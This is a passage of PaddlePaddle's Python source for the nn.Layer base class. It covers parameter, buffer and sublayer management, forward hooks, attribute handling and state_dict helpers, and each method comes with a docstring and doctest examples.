[0.])\n \"\"\"\n temp_attr = copy.deepcopy(attr)\n if isinstance(temp_attr, str) and temp_attr == \"\":\n temp_attr = None\n return self._helper.create_parameter(\n temp_attr, shape, dtype, is_bias, default_initializer\n )\n\n @deprecated(\n since=\"2.0.0\",\n update_to=\"paddle.nn.Layer.create_tensor\",\n reason=\"New api in create_tensor, easier to use.\",\n )\n def create_variable(self, name=None, persistable=None, dtype=None):\n \"\"\"\n\n Create Tensor for this layer.\n\n Parameters:\n name(str, optional): name of the tensor. Please refer to :ref:`api_guide_Name` . Default: None\n\n persistable(bool, optional): if set this tensor persistable. Default: False\n\n dtype(str, optional): data type of this parameter. If set str, it can be \"bool\", \"float16\", \"float32\", \"float64\",\"int8\", \"int16\", \"int32\", \"int64\", \"uint8\" or \"uint16\". If set None, it will be \"float32\". Default: None\n\n Returns:\n Tensor, created Tensor.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> class MyLinear(paddle.nn.Layer):\n ... def __init__(self,\n ... in_features,\n ... out_features):\n ... super().__init__()\n ... self.linear = paddle.nn.Linear( 10, 10)\n ...\n ... self.back_var = self.create_variable(name = \"linear_tmp_0\", dtype=self._dtype)\n ...\n ... def forward(self, input):\n ... out = self.linear(input)\n ... paddle.assign( out, self.back_var)\n ...\n ... return out\n\n \"\"\"\n if name is not None:\n var_name = \".\".join([self._full_name, name])\n else:\n var_name = unique_name.generate(\n \".\".join([self._full_name, \"_generated_var\"])\n )\n\n return self._helper.main_program.current_block().create_var(\n name=var_name,\n persistable=persistable,\n dtype=dtype,\n type=core.VarDesc.VarType.LOD_TENSOR,\n )\n\n # TODO: Add more parameter list when we need them\n def create_tensor(self, name=None, persistable=None, dtype=None):\n \"\"\"\n\n Create Tensor for this layer.\n\n Parameters:\n name(str, optional): name of the tensor. Please refer to :ref:`api_guide_Name` . Default: None\n persistable(bool, optional): if set this tensor persistable. Default: False\n dtype(str, optional): data type of this parameter.\n If set str, it can be \"bool\", \"float16\", \"float32\", \"float64\",\n \"int8\", \"int16\", \"int32\", \"int64\", \"uint8\" or \"uint16\".\n If set None, it will be \"float32\". Default: None\n\n Returns:\n Tensor, created Tensor.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> class MyLinear(paddle.nn.Layer):\n ... def __init__(self,\n ... in_features,\n ... out_features):\n ... super().__init__()\n ... self.linear = paddle.nn.Linear(10, 10)\n ...\n ... self.back_var = self.create_tensor(name = \"linear_tmp_0\", dtype=self._dtype)\n ...\n ... def forward(self, input):\n ... out = self.linear(input)\n ... paddle.assign(out, self.back_var)\n ...\n ... return out\n\n \"\"\"\n if name is not None:\n var_name = \".\".join([self._full_name, name])\n else:\n var_name = unique_name.generate(\n \".\".join([self._full_name, \"_generated_var\"])\n )\n\n return self._helper.main_program.current_block().create_var(\n name=var_name,\n persistable=persistable,\n dtype=dtype,\n type=core.VarDesc.VarType.LOD_TENSOR,\n )\n\n def parameters(self, include_sublayers=True):\n \"\"\"\n\n Returns a list of all Parameters from current layer and its sub-layers.\n\n Returns:\n list of Tensor, a list of Parameters.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n\n >>> linear = paddle.nn.Linear(1, 1)\n >>> print(linear.parameters())\n [Parameter containing:\n Tensor(shape=[1, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[0.18551230]]), Parameter containing:\n Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [0.])]\n\n \"\"\"\n ret = [\n param\n for _, param in self.named_parameters(\n include_sublayers=include_sublayers\n )\n ]\n return ret\n\n def children(self):\n \"\"\"\n\n Returns an iterator over immediate children layers.\n\n Yields:\n Layer: a child layer\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> linear1 = paddle.nn.Linear(10, 3)\n >>> linear2 = paddle.nn.Linear(3, 10, bias_attr=False)\n >>> model = paddle.nn.Sequential(linear1, linear2)\n\n >>> layer_list = list(model.children())\n\n >>> print(layer_list)\n [Linear(in_features=10, out_features=3, dtype=float32), Linear(in_features=3, out_features=10, dtype=float32)]\n\n \"\"\"\n for _, layer in self.named_children():\n yield layer\n\n def named_children(self):\n \"\"\"Returns an iterator over immediate children layers, yielding both\n the name of the layer as well as the layer itself.\n\n Yields:\n (string, Layer): Tuple containing a name and child layer\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> linear1 = paddle.nn.Linear(10, 3)\n >>> linear2 = paddle.nn.Linear(3, 10, bias_attr=False)\n >>> model = paddle.nn.Sequential(linear1, linear2)\n >>> for prefix, layer in model.named_children():\n ... print(prefix, layer)\n 0 Linear(in_features=10, out_features=3, dtype=float32)\n 1 Linear(in_features=3, out_features=10, dtype=float32)\n \"\"\"\n memo = set()\n for name, layer in self._sub_layers.items():\n if layer is not None and layer not in memo:\n memo.add(layer)\n yield name, layer\n\n def sublayers(self, include_self=False):\n \"\"\"\n\n Returns a list of sub layers.\n\n Parameters:\n include_self(bool, optional): Whether return self as sublayers. Default: False\n\n Returns:\n list of Layer, a list of sub layers.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... self._dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... temp = self._linear(input)\n ... temp = self._dropout(temp)\n ... return temp\n ...\n >>> mylayer = MyLayer()\n >>> print(mylayer.sublayers())\n [Linear(in_features=1, out_features=1, dtype=float32), Dropout(p=0.5, axis=None, mode=upscale_in_train)]\n\n \"\"\"\n ret = [\n layer\n for _, layer in self.named_sublayers(include_self=include_self)\n ]\n return ret\n\n def named_parameters(self, prefix='', include_sublayers=True):\n \"\"\"\n Returns an iterator over all parameters in the Layer, yielding tuple of name and parameter.\n\n Parameters:\n prefix(str, optional): Prefix to prepend to all parameter names. Default: ''.\n include_sublayers(bool, optional): Whether include the parameters of sublayers.\n If True, also include the named parameters from sublayers. Default: True.\n\n Yields:\n (string, Parameter): Tuple of name and Parameter\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n\n >>> fc1 = paddle.nn.Linear(10, 3)\n >>> fc2 = paddle.nn.Linear(3, 10, bias_attr=False)\n >>> model = paddle.nn.Sequential(fc1, fc2)\n >>> for name, param in model.named_parameters():\n ... print(name, param)\n 0.weight Parameter containing:\n Tensor(shape=[10, 3], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[ 0.07276392, -0.39791510, -0.66356444],\n [ 0.02143478, -0.18519843, -0.32485050],\n [-0.42249614, 0.08450919, -0.66838276],\n [ 0.38208580, -0.24303678, 0.55127048],\n [ 0.47745085, 0.62117910, -0.08336520],\n [-0.28653207, 0.47237599, -0.05868882],\n [-0.14385653, 0.29945642, 0.12832761],\n [-0.21237159, 0.38539791, -0.62760031],\n [ 0.02637231, 0.20621127, 0.43255770],\n [-0.19984481, -0.26259184, -0.29696006]])\n 0.bias Parameter containing:\n Tensor(shape=[3], dtype=float32, place=Place(cpu), stop_gradient=False,\n [0., 0., 0.])\n 1.weight Parameter containing:\n Tensor(shape=[3, 10], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[ 0.01985580, -0.40268910, 0.41172385, -0.47249708, -0.09002256,\n -0.00533628, -0.52048630, 0.62360322, 0.20848787, -0.02033746],\n [ 0.58281910, 0.12841827, 0.12907702, 0.02325618, -0.07746267,\n 0.31950659, -0.37924835, -0.59209681, -0.11732036, -0.58378261],\n [-0.62100595, 0.22293305, 0.28229684, -0.03687060, -0.59323978,\n 0.08411229, 0.53275704, 0.40431368, 0.03171402, -0.17922515]])\n \"\"\"\n params_set = set()\n named_sublayers = (\n self.named_sublayers(prefix=prefix, include_self=True)\n if include_sublayers\n else zip([prefix], [self])\n )\n for layer_prefix, sublayer in named_sublayers:\n params = sublayer._parameters.items()\n for key, param in params:\n if param is None or param in params_set:\n continue\n params_set.add(param)\n name = layer_prefix + ('.' if layer_prefix else '') + key\n yield name, param\n\n def named_sublayers(self, prefix='', include_self=False, layers_set=None):\n \"\"\"\n Returns an iterator over all sublayers in the Layer, yielding tuple of name and sublayer.\n The duplicate sublayer will only be yielded once.\n\n Parameters:\n prefix(str, optional): Prefix to prepend to all parameter names. Default: ''.\n include_self(bool, optional): Whether include the Layer itself. Default: False.\n layers_set(set, optional): The set to record duplicate sublayers. Default: None.\n\n Yields:\n (string, Layer): Tuple of name and Layer\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> fc1 = paddle.nn.Linear(10, 3)\n >>> fc2 = paddle.nn.Linear(3, 10, bias_attr=False)\n >>> model = paddle.nn.Sequential(fc1, fc2)\n >>> for prefix, layer in model.named_sublayers():\n ... print(prefix, layer)\n 0 Linear(in_features=10, out_features=3, dtype=float32)\n 1 Linear(in_features=3, out_features=10, dtype=float32)\n \"\"\"\n if layers_set is None:\n layers_set = set()\n if include_self and self not in layers_set:\n layers_set.add(self)\n yield prefix, self\n for key, layer in self._sub_layers.items():\n if layer is None:\n continue\n layer_prefix = prefix + ('.' if prefix else '') + key\n yield from layer.named_sublayers(\n prefix=layer_prefix, include_self=True, layers_set=layers_set\n )\n\n def register_buffer(self, name, tensor, persistable=True):\n \"\"\"\n Registers a tensor as buffer into the layer.\n\n `buffer` is a non-trainable tensor and will not be updated by optimizer,\n but is necessary for evaluation and inference. For example, the mean and variance in BatchNorm layers.\n The registered buffer is persistable by default, and will be saved into\n `state_dict` alongside parameters. If set persistable=False, it registers\n a non-persistable buffer, so that it will not be a part of `state_dict` .\n\n Buffers can be accessed as attributes using given names.\n\n Parameters:\n name (string): name of the buffer. The buffer can be accessed\n from this layer using the given name\n tensor (Tensor): the tensor to be registered as buffer.\n persistable (bool): whether the buffer is part of this layer's\n state_dict.\n\n Returns:\n None\n\n Examples:\n .. code-block:: python\n\n >>> import numpy as np\n >>> import paddle\n\n >>> linear = paddle.nn.Linear(10, 3)\n >>> value = np.array([0]).astype(\"float32\")\n >>> buffer = paddle.to_tensor(value)\n >>> linear.register_buffer(\"buf_name\", buffer, persistable=True)\n\n >>> # get the buffer by attribute.\n >>> print(linear.buf_name)\n Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=True,\n [0.])\n\n \"\"\"\n\n if '_buffers' not in self.__dict__:\n raise ValueError(\"super().__init__() should be called first\")\n elif not isinstance(name, str):\n raise TypeError(\n \"The name of buffer should be a string, but received {}.\".format(\n type(name).__name__\n )\n )\n elif '.' in name:\n raise KeyError(\n \"The name of buffer can not contain `.`, \"\n \"because when you access the newly added buffer in the \"\n \"form of `self.**.**`, it will cause AttributeError.\"\n )\n elif name == '':\n raise KeyError(\"The name of buffer can not be empty.\")\n elif hasattr(self, name) and name not in self._buffers:\n raise KeyError(f\"attribute '{name}' already exists.\")\n elif tensor is not None and not (type(tensor) == core.eager.Tensor):\n raise TypeError(\n \"The registered buffer should be a Paddle.Tensor, but received {}.\".format(\n type(tensor).__name__\n )\n )\n else:\n self._buffers[name] = tensor\n if persistable:\n self._non_persistable_buffer_names_set.discard(name)\n else:\n self._non_persistable_buffer_names_set.add(name)\n\n def buffers(self, include_sublayers=True):\n \"\"\"\n\n Returns a list of all buffers from current layer and its sub-layers.\n\n Parameters:\n include_sublayers(bool, optional): Whether include the buffers of sublayers. If True, also include the buffers from sublayers. Default: True\n\n Returns:\n list of Tensor, a list of buffers.\n\n Examples:\n .. code-block:: python\n\n >>> import numpy as np\n >>> import paddle\n\n >>> linear = paddle.nn.Linear(10, 3)\n >>> value = np.array([0]).astype(\"float32\")\n >>> buffer = paddle.to_tensor(value)\n >>> linear.register_buffer(\"buf_name\", buffer, persistable=True)\n\n >>> print(linear.buffers())\n [Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=True,\n [0.])]\n\n \"\"\"\n ret = [\n buffer\n for _, buffer in self.named_buffers(\n include_sublayers=include_sublayers\n )\n ]\n return ret\n\n def named_buffers(self, prefix='', include_sublayers=True):\n \"\"\"\n Returns an iterator over all buffers in the Layer, yielding tuple of name and Tensor.\n\n Parameters:\n prefix(str, optional): Prefix to prepend to all buffer names. Default: ''.\n include_sublayers(bool, optional): Whether include the buffers of sublayers.\n If True, also include the named buffers from sublayers. Default: True.\n\n Yields:\n (string, Tensor): Tuple of name and tensor\n\n Examples:\n .. code-block:: python\n\n >>> import numpy as np\n >>> import paddle\n\n >>> fc1 = paddle.nn.Linear(10, 3)\n >>> buffer1 = paddle.to_tensor(np.array([0]).astype(\"float32\"))\n >>> # register a tensor as buffer by specific `persistable`\n >>> fc1.register_buffer(\"buf_name_1\", buffer1, persistable=True)\n\n >>> fc2 = paddle.nn.Linear(3, 10)\n >>> buffer2 = paddle.to_tensor(np.array([1]).astype(\"float32\"))\n >>> # register a buffer by assigning an attribute with Tensor.\n >>> # The `persistable` can only be False by this way.\n >>> fc2.buf_name_2 = buffer2\n\n >>> model = paddle.nn.Sequential(fc1, fc2)\n\n >>> # get all named buffers\n >>> for name, buffer in model.named_buffers():\n ... print(name, buffer)\n 0.buf_name_1 Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=True,\n [0.])\n 1.buf_name_2 Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=True,\n [1.])\n \"\"\"\n buffers_set = set()\n named_sublayers = (\n self.named_sublayers(prefix=prefix, include_self=True)\n if include_sublayers\n else zip([prefix], [self])\n )\n for layer_prefix, sublayer in named_sublayers:\n buffers = sublayer._buffers.items()\n for key, buffer in buffers:\n if buffer is None or buffer in buffers_set:\n continue\n buffers_set.add(buffer)\n name = layer_prefix + ('.' if layer_prefix else '') + key\n yield name, buffer\n\n def clear_gradients(self):\n \"\"\"\n Clear the gradients of all parameters for this layer.\n\n Returns:\n None\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> import numpy as np\n\n >>> value = np.arange(26).reshape(2, 13).astype(\"float32\")\n >>> a = paddle.to_tensor(value)\n >>> linear = paddle.nn.Linear(13, 5)\n >>> adam = paddle.optimizer.Adam(learning_rate=0.01,\n ... parameters=linear.parameters())\n >>> out = linear(a)\n >>> out.backward()\n >>> adam.step()\n >>> linear.clear_gradients()\n\n \"\"\"\n for p in self.parameters():\n if p.trainable:\n p.clear_gradient()\n\n def _build_once(self, *args, **kwargs):\n pass\n\n def _dygraph_call_func(self, *inputs, **kwargs):\n for forward_pre_hook in self._forward_pre_hooks.values():\n hook_result = forward_pre_hook(self, inputs)\n if hook_result is not None:\n if not isinstance(hook_result, tuple):\n hook_result = (hook_result,)\n inputs = hook_result\n\n if not self._built:\n with program_desc_tracing_guard(False):\n self._build_once(*inputs, **kwargs)\n\n self._built = True\n\n if in_profiler_mode():\n with profiler.RecordEvent(\n self.__class__.__name__, profiler.TracerEventType.Forward\n ):\n outputs = self.forward(*inputs, **kwargs)\n else:\n outputs = self.forward(*inputs, **kwargs)\n\n for forward_post_hook in self._forward_post_hooks.values():\n hook_result = forward_post_hook(self, inputs, outputs)\n if hook_result is not None:\n outputs = hook_result\n\n return outputs\n\n def __call__(self, *inputs, **kwargs):\n if (\n (not in_to_static_mode())\n and (not self._forward_pre_hooks)\n and (not self._forward_post_hooks)\n and (not self._built)\n and in_dygraph_mode()\n and (not in_profiler_mode())\n ):\n self._build_once(*inputs, **kwargs)\n return self.forward(*inputs, **kwargs)\n else:\n return self._dygraph_call_func(*inputs, **kwargs)\n\n def forward(self, *inputs, **kwargs):\n \"\"\"\n Defines the computation performed at every call.\n Should be overridden by all subclasses.\n\n Parameters:\n *inputs(tuple): unpacked tuple arguments\n **kwargs(dict): unpacked dict arguments\n \"\"\"\n raise NotImplementedError\n\n def backward(self, *inputs):\n raise ValueError(\"Layer shouldn't implement backward\")\n\n def add_sublayer(self, name, sublayer):\n \"\"\"\n\n Adds a sub Layer instance.\n\n Added sublayer can be accessed by self.name\n\n Parameters:\n name(str): name of this sublayer.\n sublayer(Layer): an instance of Layer.\n Returns:\n Layer, the sublayer passed in.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> class MySequential(paddle.nn.Layer):\n ... def __init__(self, *layers):\n ... super().__init__()\n ... if len(layers) > 0 and isinstance(layers[0], tuple):\n ... for name, layer in layers:\n ... self.add_sublayer(name, layer)\n ... else:\n ... for idx, layer in enumerate(layers):\n ... self.add_sublayer(str(idx), layer)\n ...\n ... def forward(self, input):\n ... for layer in self._sub_layers.values():\n ... input = layer(input)\n ... return input\n ...\n >>> fc1 = paddle.nn.Linear(10, 3)\n >>> fc2 = paddle.nn.Linear(3, 10, bias_attr=False)\n >>> model = MySequential(fc1, fc2)\n >>> for prefix, layer in model.named_sublayers():\n ... print(prefix, layer)\n 0 Linear(in_features=10, out_features=3, dtype=float32)\n 1 Linear(in_features=3, out_features=10, dtype=float32)\n \"\"\"\n assert isinstance(sublayer, Layer) or sublayer is None\n\n self._sub_layers[name] = sublayer\n return sublayer\n\n def add_parameter(self, name, parameter):\n \"\"\"Adds a Parameter instance.\n\n Added parameter can be accessed by self.name\n\n Parameters:\n name(str): name of this sublayer.\n parameter(Parameter): an instance of Parameter.\n Returns:\n Parameter, the parameter passed in.\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... w_tmp = self.create_parameter([1,1])\n ... self.add_parameter(\"w_tmp\", w_tmp)\n ...\n ... def forward(self, input):\n ... return self._linear(input)\n ...\n >>> mylayer = MyLayer()\n >>> for name, param in mylayer.named_parameters():\n ... print(name, param)\n w_tmp Parameter containing:\n Tensor(shape=[1, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[-1.01448846]])\n _linear.weight Parameter containing:\n Tensor(shape=[1, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[0.18551230]])\n _linear.bias Parameter containing:\n Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [0.])\n \"\"\"\n if '_parameters' not in self.__dict__:\n raise RuntimeError(\"super().__init__() should be called firstly.\")\n elif not isinstance(name, str):\n raise TypeError(\n \"The name of parameter should be a string, but received {}.\".format(\n type(name).__name__\n )\n )\n elif '.' in name:\n raise KeyError(\n \"The name of parameter can not contain `.`, \"\n \"because when you access the newly added parameter in the \"\n \"form of `self.**.**`, it will cause AttributeError.\"\n )\n elif name == '':\n raise KeyError(\"The name of parameter can not be empty.\")\n elif hasattr(self, name) and name not in self._parameters:\n raise KeyError(f\"The parameter '{name}' already exists.\")\n elif parameter is not None and not isinstance(\n parameter, framework.Parameter\n ):\n raise TypeError(\n \"The parameter to be added should be a Parameter, but received {}.\".format(\n type(parameter).__name__\n )\n )\n else:\n if parameter is None:\n self._parameters[name] = None\n\n if len(self._loaddict_holder) > 0:\n assert (\n parameter.name in self._loaddict_holder\n ), \"Parameter not found, Can't not find [ {} ] in state_dict\".format(\n parameter.name\n )\n\n parameter.set_value(self._loaddict_holder[parameter.name])\n\n self._parameters[name] = parameter\n return parameter\n\n def _set_op_attrs(self, attrs):\n \"\"\"\n Add customized attribute while append_op. In case of quantization, we want to save\n some attributes into op_desc while exporting inference model by @to_static.\n\n Arguments:\n attrs(dict): customized attributes that will be added into op_descs.\n\n NOTE: The interface is only exposed to developers.\n \"\"\"\n\n def is_already_registered(is_pre_hook):\n layers_hooks = (\n self._forward_pre_hooks\n if is_pre_hook\n else self._forward_post_hooks\n )\n candidate_hook = (\n record_program_ops_pre_hook\n if is_pre_hook\n else set_op_customized_attrs_post_hook\n )\n\n already_registed = False\n if layers_hooks:\n last_key = next(reversed(layers_hooks))\n already_registed = layers_hooks[last_key] == candidate_hook\n\n return already_registed\n\n if not isinstance(attrs, dict):\n raise TypeError(\n f\"attrs should be type(dict), but received {type(attrs).__name__}\"\n )\n\n # NOTE: Overwrite behavior for same key.\n self._customized_attrs.update(attrs)\n\n if not is_already_registered(is_pre_hook=True):\n pre_hook_helper = self.register_forward_pre_hook(\n record_program_ops_pre_hook\n )\n assert len(self._op_recorder.hooks) == 0\n self._op_recorder.hooks = [pre_hook_helper]\n\n # manually register post_hook to ensure it is inserted into the head.\n if not is_already_registered(is_pre_hook=False):\n post_hook_helper = self.register_forward_post_hook(\n set_op_customized_attrs_post_hook\n )\n if len(self._forward_post_hooks) > 1:\n self._forward_post_hooks.move_to_end(\n post_hook_helper._hook_id, last=False\n )\n\n assert len(self._op_recorder.hooks) == 1\n\n # hooks that need to be removed once we finish executing them.\n self._op_recorder.hooks.append(post_hook_helper)\n\n def __getstate__(self):\n return self.__dict__\n\n def __setstate__(self, state):\n self.__dict__.update(state)\n\n def __getattr__(self, name):\n if '_parameters' in self.__dict__:\n _parameters = self.__dict__['_parameters']\n if name in self._parameters:\n if in_to_static_mode():\n return _convert_into_variable(self._parameters[name])\n return self._parameters[name]\n if '_sub_layers' in self.__dict__:\n _sub_layers = self.__dict__['_sub_layers']\n if name in self._sub_layers:\n return self._sub_layers[name]\n if '_buffers' in self.__dict__:\n _buffers = self.__dict__['_buffers']\n if name in _buffers:\n if in_to_static_mode():\n return _convert_into_variable(_buffers[name])\n return _buffers[name]\n return object.__getattribute__(self, name)\n\n def __setattr__(self, name, value):\n def _remove_if_exist(*dicts):\n for d in dicts:\n if name in d:\n del d[name]\n\n if isinstance(getattr(type(self), name, None), property):\n object.__setattr__(self, name, value)\n params = self.__dict__.get('_parameters', None)\n if isinstance(value, framework.Parameter):\n if params is None:\n raise ValueError(\"super().__init__() should be called first\")\n if len(self._loaddict_holder) > 0:\n assert (\n value.name in self._loaddict_holder\n ), f\"Parameter not found, Can't not find [ {value.name} ] in state_dict\"\n\n value.set_value(self._loaddict_holder[value.name])\n\n _remove_if_exist(self.__dict__, self._buffers, self._sub_layers)\n params[name] = value\n elif isinstance(value, paddle.pir.OpResult) and value.is_persistable:\n if params is None:\n raise ValueError(\"super().__init__() should be called first\")\n _remove_if_exist(self.__dict__, self._buffers, self._sub_layers)\n params[name] = value\n elif params is not None and name in params:\n if value is not None:\n raise TypeError(\n \"assignment to parameter '{}' should be of type Parameter or None, but got '{}'\".format(\n name, type(value).__name__\n )\n )\n params[name] = None\n else:\n layers = self.__dict__.get('_sub_layers', None)\n if isinstance(value, Layer):\n if layers is None:\n raise ValueError(\n \"super().__init__() should be called first\"\n )\n\n _remove_if_exist(self.__dict__, self._parameters, self._buffers)\n layers[name] = value\n elif layers is not None and name in layers:\n if value is not None:\n raise TypeError(\n \"assignment to sublayer '{}' should be of type Layer or None, but got '{}'\".format(\n name, type(value).__name__\n )\n )\n layers[name] = None\n else:\n _buffers = self.__dict__.get('_buffers', None)\n if isinstance(value, core.eager.Tensor):\n if _buffers is None:\n raise ValueError(\n \"super().__init__() should be called first\"\n )\n _remove_if_exist(\n self.__dict__, self._parameters, self._sub_layers\n )\n # Set persistable=False by default. Only `register_buffer` can\n # add a persistable buffer.\n if name not in self._buffers:\n self._non_persistable_buffer_names_set.add(name)\n if not value.name:\n value.name = unique_name.generate('_buffers_' + name)\n _buffers[name] = value\n elif _buffers is not None and name in _buffers:\n # Note(Aurelius84): In Dy2stat, the value of the Buffer may be modified in\n # decorated function, such as `self.buffer = new_tensor`. So we update its\n # value via `assign`.\n if type(value) == framework.Variable:\n from paddle import assign\n\n # Note(zhhsplendid): the condition below happens in PaddleGan model,\n # but should all non-Variable _buffers[name] be re-assign? We\n # should consider it in the future. I current wrote this as\n # conservative code.\n if in_to_static_mode() and _buffers[name] is None:\n raise RuntimeError(\n 'In Dy2stat, self.{0} is a buffer and self.{0} is '\n 'not allowed to be set to Variable when self.{0} is None.'.format(\n name\n )\n )\n elif (\n _buffers[name] is None\n or type(getattr(self, name)) == core.eager.Tensor\n ):\n _buffers[name] = assign(value)\n else:\n assign(value, getattr(self, name))\n elif value is not None:\n raise TypeError(\n \"assignment to buffers '{}' should be of type core.Tensor or None, but got '{}'\".format(\n name, type(value).__name__\n )\n )\n else:\n # Assigning None will remove the buffer, but if re-assign a new varBase to it,\n # it will be remarked as a buffer with same `persistable` attribute.\n _buffers[name] = None\n else:\n object.__setattr__(self, name, value)\n\n def __delattr__(self, name):\n if name in self._parameters:\n del self._parameters[name]\n elif name in self._sub_layers:\n del self._sub_layers[name]\n elif name in self._buffers:\n del self._buffers[name]\n self._non_persistable_buffer_names_set.discard(name)\n else:\n object.__delattr__(self, name)\n\n def __dir__(self):\n \"\"\"\n Return a list. Get all parameters, buffers(non-parameter tensors), sublayers, method and attr of Layer.\n\n Examples:\n .. code-block:: python\n >>> import paddle\n >>> import numpy as np\n\n >>> class Mylayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self.linear1 = paddle.nn.Linear(10, 10)\n ... self.linear2 = paddle.nn.Linear(5, 5)\n ... self.conv2d = paddle.nn.Conv2D(3, 2, 3)\n ... self.embedding = paddle.nn.Embedding(128, 16)\n ... self.h_0 = paddle.to_tensor(np.zeros([10, 10]).astype('float32'))\n ...\n >>> mylayer = Mylayer()\n >>> print(dir(mylayer))\n ['__call__', '__class__', '__delattr__', '__dict__', ..., 'training']\n \"\"\"\n method = dir(self.__class__)\n attrs = list(self.__dict__.keys())\n parameters = list(self._parameters.keys())\n sublayers = list(self._sub_layers.keys())\n buffers = list(self._buffers.keys())\n\n keys = method + attrs + parameters + sublayers + buffers\n\n return keys\n\n def extra_repr(self):\n \"\"\"\n Extra representation of this layer, you can have custom implementation\n of your own layer.\n \"\"\"\n return ''\n\n def __repr__(self):\n extra_lines = []\n extra_repr = self.extra_repr()\n extra_lines = extra_repr.split('\\n')\n sublayer_lines = []\n for name, layer in self._sub_layers.items():\n sublayer_str = repr(layer)\n sublayer_str = _addindent(sublayer_str, 2)\n sublayer_lines.append('(' + name + '): ' + sublayer_str)\n\n final_str = self.__class__.__name__ + '('\n if extra_lines:\n if len(extra_lines) > 1:\n final_str += '\\n ' + '\\n '.join(extra_lines) + '\\n'\n elif len(extra_lines) == 1:\n final_str += extra_lines[0]\n if sublayer_lines:\n final_str += '\\n ' + '\\n '.join(sublayer_lines) + '\\n'\n\n final_str += ')'\n return final_str\n\n def register_state_dict_hook(self, hook):\n hook_remove_helper = HookRemoveHelper(self._state_dict_hooks)\n self._state_dict_hooks[hook_remove_helper._hook_id] = hook\n return hook_remove_helper\n\n def _obtain_parameters_buffers(\n self,\n destination=None,\n include_sublayers=True,\n structured_name_prefix=\"\",\n ):\n \"\"\"\n The difference from state_dict() is that state_dict_hook will not be called,\n but the original types of parameters and buffers will be maintained.\n \"\"\"\n if destination is None:\n destination = collections.OrderedDict()\n for name, data in self._parameters.items():\n if data is not None:\n destination[structured_name_prefix + name] = data\n for name, buffer in self._buffers.items():\n if (\n buffer is not None\n and name not in self._non_persistable_buffer_names_set\n ):\n destination[structured_name_prefix + name] = buffer\n\n if include_sublayers:\n for layer_name, layer_item in self._sub_layers.items():\n if layer_item is not None:\n destination_temp = destination.copy()\n destination_temp.update(\n layer_item._obtain_parameters_buffers(\n destination_temp,\n include_sublayers,\n structured_name_prefix + layer_name + \".\",\n )\n )\n destination = destination_temp\n return destination\n\n def _state_dict_impl(\n self,\n destination=None,\n include_sublayers=True,\n structured_name_prefix=\"\",\n include_non_persistable_buffer=False,\n use_hook=True,\n ):\n \"\"\"\n Get all parameters and persistable buffers of current layer and its sub-layers. And set them into a dict\n\n Parameters:\n destination(dict, optional) : If provide, all the parameters and persistable buffers will be set to this dict . Default: None\n include_sublayers(bool, optional) : If true, also include the parameters and persistable buffers from sublayers. Default: True\n include_non_persistable_buffer(bool, optional): If true, include non persistable buffers of current layer and its sub-layers, it is used in pure fp16 and jit.save. Default: False\n use_hook(bool, optional) : If true, the operations contained in _state_dict_hooks will be appended to the destination. Default: True\n \"\"\"\n\n if destination is None:\n destination = collections.OrderedDict()\n for name, data in self._parameters.items():\n if data is not None:\n destination[structured_name_prefix + name] = data\n for name, buffer in self._buffers.items():\n if not include_non_persistable_buffer:\n if (\n buffer is not None\n and name not in self._non_persistable_buffer_names_set\n ):\n destination[structured_name_prefix + name] = buffer\n else:\n if buffer is not None:\n destination[structured_name_prefix + name] = buffer\n\n if include_sublayers:\n for layer_name, layer_item in self._sub_layers.items():\n if layer_item is not None:\n destination_temp = destination.copy()\n destination_temp.update(\n layer_item._state_dict_impl(\n destination_temp,\n include_sublayers,\n structured_name_prefix + layer_name + \".\",\n include_non_persistable_buffer,\n use_hook,\n )\n )\n destination = destination_temp\n if use_hook:\n for state_dict_hook in self._state_dict_hooks.values():\n hook_result = state_dict_hook(destination)\n if hook_result is not None:\n destination = hook_result\n\n return destination\n\n def to_static_state_dict(\n self,\n destination=None,\n include_sublayers=True,\n structured_name_prefix=\"\",\n use_hook=True,\n ):\n '''\n\n Get all parameters and buffers of current layer and its sub-layers. And set them into a dict\n\n Parameters:\n destination(dict, optional) : If provide, all the parameters and persistable buffers will be set to this dict . Default: None\n include_sublayers(bool, optional) : If true, also include the parameters and persistable buffers from sublayers. Default: True\n use_hook(bool, optional) : If true, the operations contained in _state_dict_hooks will be appended to the destination. Default: True\n\n Retruns:\n dict, a dict contains all the parameters and persistable buffers.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n\n >>> emb = paddle.nn.Embedding(10, 10)\n\n >>> state_dict = emb.to_static_state_dict()\n >>> paddle.save( state_dict, \"paddle_dy.pdparams\")\n\n '''\n return self._state_dict_impl(\n destination=destination,\n include_sublayers=include_sublayers,\n structured_name_prefix=structured_name_prefix,\n include_non_persistable_buffer=True,\n use_hook=use_hook,\n )\n\n def state_dict(\n self,\n destination=None,\n include_sublayers=True,\n 